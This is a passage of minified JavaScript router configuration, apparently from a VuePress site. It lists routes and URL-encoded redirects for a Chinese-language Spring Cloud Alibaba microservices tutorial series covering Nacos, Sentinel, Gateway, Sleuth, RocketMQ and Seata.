C1%E7%89%88.html"},{name:"v-3a9d3f25",path:"/md/microservices/springboot/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-3a9d3f25").then(E)}},{name:"v-5cc177b2",path:"/md/microservices/springcloud/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-5cc177b2").then(E)}},{name:"v-ed5cf674",path:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba%E4%B8%93%E6%A0%8F%E5%BC%80%E7%AF%87.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-ed5cf674").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba专栏开篇.html",redirect:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba%E4%B8%93%E6%A0%8F%E5%BC%80%E7%AF%87.html"},{path:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba专栏开篇.html",redirect:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba%E4%B8%93%E6%A0%8F%E5%BC%80%E7%AF%87.html"},{name:"v-4c9ffc34",path:"/md/microservices/springcloudalibaba/2022-04-04-SA%E5%AE%9E%E6%88%98%C2%B7%E7%AC%AC%E4%B8%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E8%AE%BE%E8%AE%A1.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-4c9ffc34").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-04-04-SA实战·第一篇-专栏设计.html",redirect:"/md/microservices/springcloudalibaba/2022-04-04-SA%E5%AE%9E%E6%88%98%C2%B7%E7%AC%AC%E4%B8%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E8%AE%BE%E8%AE%A1.html"},{path:"/md/microservices/springcloudalibaba/2022-04-04-SA实战·第一篇-专栏设计.html",redirect:"/md/microservices/springcloudalibaba/2022-04-04-SA%E5%AE%9E%E6%88%98%C2%B7%E7%AC%AC%E4%B8%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E8%AE%BE%E8%AE%A1.html"},{name:"v-075dfb8c",path:"/md/microservices/springcloudalibaba/2022-04-09-SA%E5%AE%9E%E6%88%98-%E5%BE%AE%E6%9C%8D%E5%8A%A1%E4%BB%8B%E7%BB%8D.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-075dfb8c").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-04-09-SA实战-微服务介绍.html",redirect:"/md/microservices/springcloudalibaba/2022-04-09-SA%E5%AE%9E%E6%88%98-%E5%BE%AE%E6%9C%8D%E5%8A%A1%E4%BB%8B%E7%BB%8D.html"},{path:"/md/microservices/springcloudalibaba/2022-04-09-SA实战-微服务介绍.html",redirect:"/md/microservices/springcloudalibaba/2022-04-09-SA%E5%AE%9E%E6%88%98-%E5%BE%AE%E6%9C%8D%E5%8A%A1%E4%BB%8B%E7%BB%8D.html"},{name:"v-537a8168",path:"/md/microservices/springcloudalibaba/2022-04-13-SA%E5%AE%9E%E6%88%98%C2%B7%E9%A1%B9%E7%9B%AE%E8%AF%B4%E6%98%8E-%E6%B5%81%E7%A8%8B%E8%AE%BE%E8%AE%A1-%E6%8A%80%E6%9C%AF%E9%80%89%E5%9E%8B-%E6%A8%A1%E5%9D%97%E5%88%92%E5%88%86.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-537a8168").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-04-13-SA实战·项目说明-流程设计-技术选型-模块划分.html",redirect:"/md/microservices/springcloudalibaba/2022-04-13-SA%E5%AE%9E%E6%88%98%C2%B7%E9%A1%B9%E7%9B%AE%E8%AF%B4%E6%98%8E-%E6%B5%81%E7%A8%8B%E8%AE%BE%E8%AE%A1-%E6%8A%80%E6%9C%AF%E9%80%89%E5%9E%8B-%E6%A8%A1%E5%9D%97%E5%88%92%E5%88%86.html"},{path:"/md/microservices/springcloudalibaba/2022-04-13-SA实战·项目说明-流程设计-技术选型-模块划分.html",redirect:"/md/microservices/springcloudalibaba/2022-04-13-SA%E5%AE%9E%E6%88%98%C2%B7%E9%A1%B9%E7%9B%AE%E8%AF%B4%E6%98%8E-%E6%B5%81%E7%A8%8B%E8%AE%BE%E8%AE%A1-%E6%8A%80%E6%9C%AF%E9%80%89%E5%9E%8B-%E6%A8%A1%E5%9D%97%E5%88%92%E5%88%86.html"},{name:"v-60546cf5",path:"/md/microservices/springcloudalibaba/2022-04-18-SA%E5%AE%9E%E6%88%98-%E5%BC%80%E6%92%B8-%E5%AE%8C%E6%88%90%E9%80%9A%E7%94%A8%E6%A8%A1%E5%9D%97%E7%9A%84%E5%BC%80%E5%8F%91.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-60546cf5").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-04-18-SA实战-开撸-完成通用模块的开发.html",redirect:"/md/microservices/springcloudalibaba/2022-04-18-SA%E5%AE%9E%E6%88%98-%E5%BC%80%E6%92%B8-%E5%AE%8C%E6%88%90%E9%80%9A%E7%94%A8%E6%A8%A1%E5%9D%97%E7%9A%84%E5%BC%80%E5%8F%91.html"},{path:"/md/microservices/springcloudalibaba/2022-04-18-SA实战-开撸-完成通用模块的开发.html",redirect:"/md/microservices/springcloudalibaba/2022-04-18-SA%E5%AE%9E%E6%88%98-%E5%BC%80%E6%92%B8-%E5%AE%8C%E6%88%90%E9%80%9A%E7%94%A8%E6%A8%A1%E5%9D%97%E7%9A%84%E5%BC%80%E5%8F%91.html"},{name:"v-7918ac0c",path:"/md/microservices/springcloudalibaba/2022-04-21-SA%E5%AE%9E%E6%88%98-%E5%AE%8C%E6%88%90%E4%B8%89%E5%A4%A7%E5%BE%AE%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%90%AD%E5%BB%BA%E4%B8%8E%E4%BA%A4%E4%BA%92%E5%BC%80%E5%8F%91.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-7918ac0c").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-04-21-SA实战-完成三大微服务的搭建与交互开发.html",redirect:"/md/microservices/springcloudalibaba/2022-04-21-SA%E5%AE%9E%E6%88%98-%E5%AE%8C%E6%88%90%E4%B8%89%E5%A4%A7%E5%BE%AE%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%90%AD%E5%BB%BA%E4%B8%8E%E4%BA%A4%E4%BA%92%E5%BC%80%E5%8F%91.html"},{path:"/md/microservices/springcloudalibaba/2022-04-21-SA实战-完成三大微服务的搭建与交互开发.html",redirect:"/md/microservices/springcloudalibaba/2022-04-21-SA%E5%AE%9E%E6%88%98-%E5%AE%8C%E6%88%90%E4%B8%89%E5%A4%A7%E5%BE%AE%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%90%AD%E5%BB%BA%E4%B8%8E%E4%BA%A4%E4%BA%92%E5%BC%80%E5%8F%91.html"},{name:"v-d1e51886",path:"/md/microservices/springcloudalibaba/2022-04-25-SA%E5%AE%9E%E6%88%98-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B3%A8%E5%86%8C%E4%B8%8E%E5%8F%91%E7%8E%B0.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-d1e51886").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-04-25-SA实战-服务治理-实现服务的注册与发现.html",redirect:"/md/microservices/springcloudalibaba/2022-04-25-SA%E5%AE%9E%E6%88%98-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B3%A8%E5%86%8C%E4%B8%8E%E5%8F%91%E7%8E%B0.html"},{path:"/md/microservices/springcloudalibaba/2022-04-25-SA实战-服务治理-实现服务的注册与发现.html",redirect:"/md/microservices/springcloudalibaba/2022-04-25-SA%E5%AE%9E%E6%88%98-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B3%A8%E5%86%8C%E4%B8%8E%E5%8F%91%E7%8E%B0.html"},{name:"v-5550a4cf",path:"/md/microservices/springcloudalibaba/2022-04-27-SA%E5%AE%9E%E6%88%98-%E7%AC%AC8%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E8%B0%83%E7%94%A8%E7%9A%84%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-5550a4cf").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-04-27-SA实战-第8章-服务治理-实现服务调用的负载均衡.html",redirect:"/md/microservices/springcloudalibaba/2022-04-27-SA%E5%AE%9E%E6%88%98-%E7%AC%AC8%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E8%B0%83%E7%94%A8%E7%9A%84%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1.html"},{path:"/md/microservices/springcloudalibaba/2022-04-27-SA实战-第8章-服务治理-实现服务调用的负载均衡.html",redirect:"/md/microservices/springcloudalibaba/2022-04-27-SA%E5%AE%9E%E6%88%98-%E7%AC%AC8%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B2%BB%E7%90%86-%E5%AE%9E%E7%8E%B0%E6%9C%8D%E5%8A%A1%E8%B0%83%E7%94%A8%E7%9A%84%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1.html"},{name:"v-09bf13ee",path:"/md/microservices/springcloudalibaba/2022-04-28-SA%E5%AE%9E%E6%88%98-%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-%E6%9C%8D%E5%8A%A1%E9%9B%AA%E5%B4%A9%E4%B8%8E%E5%AE%B9%E9%94%99%E6%96%B9%E6%A1%88.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-09bf13ee").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-04-28-SA实战-第9章-服务容错-服务雪崩与容错方案.html",redirect:"/md/microservices/springcloudalibaba/2022-04-28-SA%E5%AE%9E%E6%88%98-%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-%E6%9C%8D%E5%8A%A1%E9%9B%AA%E5%B4%A9%E4%B8%8E%E5%AE%B9%E9%94%99%E6%96%B9%E6%A1%88.html"},{path:"/md/microservices/springcloudalibaba/2022-04-28-SA实战-第9章-服务容错-服务雪崩与容错方案.html",redirect:"/md/microservices/springcloudalibaba/2022-04-28-SA%E5%AE%9E%E6%88%98-%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-%E6%9C%8D%E5%8A%A1%E9%9B%AA%E5%B4%A9%E4%B8%8E%E5%AE%B9%E9%94%99%E6%96%B9%E6%A1%88.html"},{name:"v-d1b725c6",path:"/md/microservices/springcloudalibaba/2022-05-03-SA%E5%AE%9E%E6%88%98-%E7%AC%AC10%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-Fegin%E6%95%B4%E5%90%88Sentinel.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-d1b725c6").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-03-SA实战-第10章-服务容错-Fegin整合Sentinel.html",redirect:"/md/microservices/springcloudalibaba/2022-05-03-SA%E5%AE%9E%E6%88%98-%E7%AC%AC10%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-Fegin%E6%95%B4%E5%90%88Sentinel.html"},{path:"/md/microservices/springcloudalibaba/2022-05-03-SA实战-第10章-服务容错-Fegin整合Sentinel.html",redirect:"/md/microservices/springcloudalibaba/2022-05-03-SA%E5%AE%9E%E6%88%98-%E7%AC%AC10%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-Fegin%E6%95%B4%E5%90%88Sentinel.html"},{name:"v-6a1d09db",path:"/md/microservices/springcloudalibaba/2022-05-05-SA%E5%AE%9E%E6%88%98-%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99%E5%8A%A0%E9%A4%90-Sentinel%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%E4%B8%8E%E9%85%8D%E7%BD%AE%E8%A7%84%E5%88%99.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-6a1d09db").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-05-SA实战-第11章-服务容错加餐-Sentinel核心技术与配置规则.html",redirect:"/md/microservices/springcloudalibaba/2022-05-05-SA%E5%AE%9E%E6%88%98-%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99%E5%8A%A0%E9%A4%90-Sentinel%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%E4%B8%8E%E9%85%8D%E7%BD%AE%E8%A7%84%E5%88%99.html"},{path:"/md/microservices/springcloudalibaba/2022-05-05-SA实战-第11章-服务容错加餐-Sentinel核心技术与配置规则.html",redirect:"/md/microservices/springcloudalibaba/2022-05-05-SA%E5%AE%9E%E6%88%98-%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99%E5%8A%A0%E9%A4%90-Sentinel%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%E4%B8%8E%E9%85%8D%E7%BD%AE%E8%A7%84%E5%88%99.html"},{name:"v-d71bc0e2",path:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC12%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E7%BD%91%E5%85%B3%E6%A6%82%E8%BF%B0%E4%B8%8E%E6%A0%B8%E5%BF%83%E6%9E%B6%E6%9E%84.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-d71bc0e2").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-08-SA实战-第12章-服务网关-网关概述与核心架构.html",redirect:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC12%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E7%BD%91%E5%85%B3%E6%A6%82%E8%BF%B0%E4%B8%8E%E6%A0%B8%E5%BF%83%E6%9E%B6%E6%9E%84.html"},{path:"/md/microservices/springcloudalibaba/2022-05-08-SA实战-第12章-服务网关-网关概述与核心架构.html",redirect:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC12%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E7%BD%91%E5%85%B3%E6%A6%82%E8%BF%B0%E4%B8%8E%E6%A0%B8%E5%BF%83%E6%9E%B6%E6%9E%84.html"},{name:"v-e4d56678",path:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88SpringCloudGateway.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-e4d56678").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-08-SA实战-第13章-服务网关-项目整合SpringCloudGateway.html",redirect:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88SpringCloudGateway.html"},{path:"/md/microservices/springcloudalibaba/2022-05-08-SA实战-第13章-服务网关-项目整合SpringCloudGateway.html",redirect:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88SpringCloudGateway.html"},{name:"v-6c386d60",path:"/md/microservices/springcloudalibaba/2022-05-10-SA%E5%AE%9E%E6%88%98-%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-SpringCloudGateway%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-6c386d60").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-10-SA实战-第14章-服务网关-SpringCloudGateway核心技术.html",redirect:"/md/microservices/springcloudalibaba/2022-05-10-SA%E5%AE%9E%E6%88%98-%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-SpringCloudGateway%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html"},{path:"/md/microservices/springcloudalibaba/2022-05-10-SA实战-第14章-服务网关-SpringCloudGateway核心技术.html",redirect:"/md/microservices/springcloudalibaba/2022-05-10-SA%E5%AE%9E%E6%88%98-%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-SpringCloudGateway%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html"},{name:"v-beb6b16a",path:"/md/microservices/springcloudalibaba/2022-05-11-SA%E5%AE%9E%E6%88%98-%E7%AC%AC15%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8E%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-beb6b16a").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-11-SA实战-第15章-链路追踪-核心原理与解决方案.html",redirect:"/md/microservices/springcloudalibaba/2022-05-11-SA%E5%AE%9E%E6%88%98-%E7%AC%AC15%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8E%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.html"},{path:"/md/microservices/springcloudalibaba/2022-05-11-SA实战-第15章-链路追踪-核心原理与解决方案.html",redirect:"/md/microservices/springcloudalibaba/2022-05-11-SA%E5%AE%9E%E6%88%98-%E7%AC%AC15%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8E%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.html"},{name:"v-8128e79a",path:"/md/microservices/springcloudalibaba/2022-05-12-SA%E5%AE%9E%E6%88%98-%E7%AC%AC16%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Sleuth%E5%AE%9E%E7%8E%B0%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-8128e79a").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-12-SA实战-第16章-链路追踪-项目整合Sleuth实现链路追踪.html",redirect:"/md/microservices/springcloudalibaba/2022-05-12-SA%E5%AE%9E%E6%88%98-%E7%AC%AC16%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Sleuth%E5%AE%9E%E7%8E%B0%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA.html"},{path:"/md/microservices/springcloudalibaba/2022-05-12-SA实战-第16章-链路追踪-项目整合Sleuth实现链路追踪.html",redirect:"/md/microservices/springcloudalibaba/2022-05-12-SA%E5%AE%9E%E6%88%98-%E7%AC%AC16%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Sleuth%E5%AE%9E%E7%8E%B0%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA.html"},{name:"v-1c53e24e",path:"/md/microservices/springcloudalibaba/2022-05-13-SA%E5%AE%9E%E6%88%98-%E7%AC%AC17%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-Sleuth%E6%95%B4%E5%90%88ZipKin.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-1c53e24e").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-13-SA实战-第17章-链路追踪-Sleuth整合ZipKin.html",redirect:"/md/microservices/springcloudalibaba/2022-05-13-SA%E5%AE%9E%E6%88%98-%E7%AC%AC17%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-Sleuth%E6%95%B4%E5%90%88ZipKin.html"},{path:"/md/microservices/springcloudalibaba/2022-05-13-SA实战-第17章-链路追踪-Sleuth整合ZipKin.html",redirect:"/md/microservices/springcloudalibaba/2022-05-13-SA%E5%AE%9E%E6%88%98-%E7%AC%AC17%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-Sleuth%E6%95%B4%E5%90%88ZipKin.html"},{name:"v-d8be47ba",path:"/md/microservices/springcloudalibaba/2022-05-18-SA%E5%AE%9E%E6%88%98-%E7%AC%AC19%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88RocketMQ.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-d8be47ba").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-18-SA实战-第19章-消息服务-项目整合RocketMQ.html",redirect:"/md/microservices/springcloudalibaba/2022-05-18-SA%E5%AE%9E%E6%88%98-%E7%AC%AC19%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88RocketMQ.html"},{path:"/md/microservices/springcloudalibaba/2022-05-18-SA实战-第19章-消息服务-项目整合RocketMQ.html",redirect:"/md/microservices/springcloudalibaba/2022-05-18-SA%E5%AE%9E%E6%88%98-%E7%AC%AC19%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88RocketMQ.html"},{name:"v-5adcf599",path:"/md/microservices/springcloudalibaba/2022-05-20-SA%E5%AE%9E%E6%88%98-%E7%AC%AC20%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-RocketMQ%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-5adcf599").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-20-SA实战-第20章-消息服务-RocketMQ核心技术.html",redirect:"/md/microservices/springcloudalibaba/2022-05-20-SA%E5%AE%9E%E6%88%98-%E7%AC%AC20%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-RocketMQ%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html"},{path:"/md/microservices/springcloudalibaba/2022-05-20-SA实战-第20章-消息服务-RocketMQ核心技术.html",redirect:"/md/microservices/springcloudalibaba/2022-05-20-SA%E5%AE%9E%E6%88%98-%E7%AC%AC20%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-RocketMQ%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html"},{name:"v-c4a087da",path:"/md/microservices/springcloudalibaba/2022-05-21-SA%E5%AE%9E%E6%88%98-%E7%AC%AC21%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE%E4%BB%8B%E7%BB%8D%E4%B8%8ENacos%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-c4a087da").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-21-SA实战-第21章-服务配置-服务配置介绍与Nacos核心概念.html",redirect:"/md/microservices/springcloudalibaba/2022-05-21-SA%E5%AE%9E%E6%88%98-%E7%AC%AC21%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE%E4%BB%8B%E7%BB%8D%E4%B8%8ENacos%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5.html"},{path:"/md/microservices/springcloudalibaba/2022-05-21-SA实战-第21章-服务配置-服务配置介绍与Nacos核心概念.html",redirect:"/md/microservices/springcloudalibaba/2022-05-21-SA%E5%AE%9E%E6%88%98-%E7%AC%AC21%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE%E4%BB%8B%E7%BB%8D%E4%B8%8ENacos%E6%A0%B8%E5%BF%83%E6%A6%82%E5%BF%B5.html"},{name:"v-963bbc92",path:"/md/microservices/springcloudalibaba/2022-05-23-SA%E5%AE%9E%E6%88%98-%E7%AC%AC22%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Nacos%E9%85%8D%E7%BD%AE%E4%B8%AD%E5%BF%83.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-963bbc92").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-23-SA实战-第22章-服务配置-项目整合Nacos配置中心.html",redirect:"/md/microservices/springcloudalibaba/2022-05-23-SA%E5%AE%9E%E6%88%98-%E7%AC%AC22%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Nacos%E9%85%8D%E7%BD%AE%E4%B8%AD%E5%BF%83.html"},{path:"/md/microservices/springcloudalibaba/2022-05-23-SA实战-第22章-服务配置-项目整合Nacos配置中心.html",redirect:"/md/microservices/springcloudalibaba/2022-05-23-SA%E5%AE%9E%E6%88%98-%E7%AC%AC22%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Nacos%E9%85%8D%E7%BD%AE%E4%B8%AD%E5%BF%83.html"},{name:"v-56bc4367",path:"/md/microservices/springcloudalibaba/2022-05-24-SA%E5%AE%9E%E6%88%98-%E7%AC%AC23%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E5%88%B7%E6%96%B0%E4%B8%8E%E9%85%8D%E7%BD%AE%E5%85%B1%E4%BA%AB.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-56bc4367").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-24-SA实战-第23章-服务配置-实现动态刷新与配置共享.html",redirect:"/md/microservices/springcloudalibaba/2022-05-24-SA%E5%AE%9E%E6%88%98-%E7%AC%AC23%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E5%88%B7%E6%96%B0%E4%B8%8E%E9%85%8D%E7%BD%AE%E5%85%B1%E4%BA%AB.html"},{path:"/md/microservices/springcloudalibaba/2022-05-24-SA实战-第23章-服务配置-实现动态刷新与配置共享.html",redirect:"/md/microservices/springcloudalibaba/2022-05-24-SA%E5%AE%9E%E6%88%98-%E7%AC%AC23%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E9%85%8D%E7%BD%AE-%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E5%88%B7%E6%96%B0%E4%B8%8E%E9%85%8D%E7%BD%AE%E5%85%B1%E4%BA%AB.html"},{name:"v-d9ccacfe",path:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC24%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8ESeata%E4%BB%8B%E7%BB%8D.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-d9ccacfe").then(E)}},{path:"/md/microservices/springcloudalibaba/2022-05-25-SA实战-第24章-分布式事务-分布式事务核心原理与Seata介绍.html",redirect:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%AE%9E%E6%88%98-%E7%AC%AC24%E7%AB%A0-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1-%E5%88%86%E5%B8%83%E5%BC%8F%E4%BA%8B%E5%8A%A1%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8ESeata%E4%BB%8B%E7%BB%8D.html"},{path:"/md/microservices/springcloudalibaba/2022-05-25-SA实战-第24章-分布式事务-分布式事务核心原理与Seata介绍.html",redirect:"/md/microservices/springcloudalibaba/2022-05-25-SA%E5%